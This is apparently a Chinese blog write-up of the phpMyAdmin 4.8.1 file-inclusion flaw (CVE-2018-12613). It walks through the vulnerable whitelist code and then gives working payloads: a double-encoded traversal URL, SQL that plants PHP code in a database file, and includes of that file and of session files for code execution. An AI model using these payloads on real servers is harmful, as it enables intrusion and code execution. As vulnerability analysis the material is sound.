漏洞详情

范围 phpMyAdmin 4.8.0和4.8.1

原理 首先在index.php 50-63行代码

$target_blacklist = array (

'import.php', 'export.php'

);

// If we have a valid target, let's load that script instead

if (! empty($_REQUEST['target'])

&& is_string($_REQUEST['target'])

&& ! preg_match('/^index/', $_REQUEST['target'])

&& ! in_array($_REQUEST['target'], $target_blacklist)

&& Core::checkPageValidity($_REQUEST['target'])

) {

include $_REQUEST['target'];

exit;

}

满足5个条件后就会include$_REQUEST['target']的内容

$_REQUEST['target']不为空

$_REQUEST['target']是字符串

$_REQUEST['target']不以index开头

$_REQUEST['target']不在$target_blacklist中 'import.php', 'export.php'

Core::checkPageValidity($_REQUEST['target'])为真 代码在libraries\classes\Core.php 443-476行

public static function checkPageValidity(&$page, array $whitelist = [])

{

if (empty($whitelist)) {

$whitelist = self::$goto_whitelist;

}

if (! isset($page) || !is_string($page)) {

return false;

}

if (in_array($page, $whitelist)) {

return true;

}

$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

}

$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist

public static $goto_whitelist = array(

'db_datadict.php',

'db_sql.php',

'db_events.php',

'db_export.php',

'db_importdocsql.php',

'db_multi_table_query.php',

'db_structure.php',

'db_import.php',

'db_operations.php',

'db_search.php',

'db_routines.php',

'export.php',

'import.php',

'index.php',

'pdf_pages.php',

'pdf_schema.php',

'server_binlog.php',

'server_collations.php',

'server_databases.php',

'server_engines.php',

'server_export.php',

'server_import.php',

'server_privileges.php',

'server_sql.php',

'server_status.php',

'server_status_advisor.php',

'server_status_monitor.php',

'server_status_queries.php',

'server_status_variables.php',

'server_variables.php',

'sql.php',

'tbl_addfield.php',

'tbl_change.php',

'tbl_create.php',

'tbl_import.php',

'tbl_indexes.php',

'tbl_sql.php',

'tbl_export.php',

'tbl_operations.php',

'tbl_structure.php',

'tbl_relation.php',

'tbl_replace.php',

'tbl_row_action.php',

'tbl_select.php',

'tbl_zoom_select.php',

'transformation_overview.php',

'transformation_wrapper.php',

'user_password.php',

);

如果$page在白名单中就会直接return true,但这里考虑到了可能带参数的情况,所以有了下面的判断

$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int 查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true 但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件 例如传入 ?target=db_datadict.php%253f 由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true 但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含

漏洞复现

任意文件包含

通过目录穿越包含任意文件 ?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

任意代码执行

包含数据库文件 先执行SQL语句查询一下数据库路径 show global variables like "%datadir%";

向数据库写入php代码

CREATE DATABASE rce;

use rce;

CREATE TABLE rce(code varchar(100));

INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

然后包含该数据库文件 ?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD

包函session文件 session路径的视环境而定

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24

mysql 多字节编码漏洞_phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)相关推荐

  1. 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

  2. index.php.bak 颓废_18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

  3. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  4. 远程文件包含 php,php本地及远程文件包含漏洞

    在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen on allow_url_include on 但是开启这两个功能之后伴随的是url ...

  5. index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...

  6. 89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解实战示例]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含漏洞详解 1.文件包含漏洞相关概念 2.PHP文件包含漏洞相关概念 3.PHP文件包含漏洞利用:`构 ...

  7. 文件上传漏洞之——远程文件包含漏洞(RFI)

    定义 如果php.ini的配置选项allow_url_include为On的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞.利用远程文件包含漏洞,可以直接执行任意命令 原理 同本 ...

  8. java 文件包含漏洞_远程文件包含漏洞(pikachu)

    漏洞介绍 File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 ...

  9. 本地文件包含与远程文件包含漏洞

    总结一下 1.文件包含漏洞分两种:LFI(local file include)本地文件包含 和 RFI(remote file include)远程文件包含 2.文件包含常用到的函数:include ...

最新文章

  1. linux php任务计划,Linux--PHP脚本的计划任务
  2. Python中常用的一些操作总结(未完待续)update @ 2017-5-18
  3. zabbix 之 orabbix安装指导
  4. PDU (协议数据单元)
  5. 【项目管理】上线切割计划实践
  6. 苍溪师范94级计算机与文秘专业就业前景,文秘专业就业前景
  7. php server 连接字符串,sqlServer 数据库常用连接字符串
  8. 解决centos下sudo运行tshark,写入文件显示:Permission denied.
  9. 高斯牛顿法 matlab代码实现
  10. 广州海珠php培训_海珠|海珠区第二实验小学教育集团成立两周年 初步实现集团内教师资源的“柔性流动”...
  11. 《看不见的森林:林中自然笔记》书摘三
  12. Spring框架概要
  13. 深度学习的应用与实践
  14. 怎么彻底卸载2345软件、怎么屏蔽2345弹窗
  15. CSS重置默认样式reset.css代码模板
  16. 如何使用SC7A20
  17. 距离最短原则的离散点连接 Python实现
  18. JVM 执行引擎的作用及工作过程
  19. logisim 快速加法器设计实验报告_华中科技大学数字逻辑实验
  20. html5引入文本,引入文本有几种方式

热门文章

  1. mysql中sex设置男女_MYSQL常用命令(3)
  2. python重点知识 钻石_python——子类对象如何访问父类的同名方法
  3. faster rcnn的测试
  4. gc就是fullgc吗 major_线上出现fullgc问题如何排查?
  5. window 下的mysql_Windows下MySQL下载安装、配置与使用
  6. 第2章 Python 数字图像处理(DIP) --数字图像基础4 -- 像素间的一些基本关系 - 邻域 - 距离测试
  7. yunos5 linux内核,魅蓝5S、魅蓝5对比看差异 选Android还是YunOS?
  8. 并不对劲的bzoj3994:loj2185:p3327[SDOI2015]约数个数和
  9. 第二十二篇 玩转数据结构——构建动态数组
  10. 【Canal源码分析】Sink及Store工作过程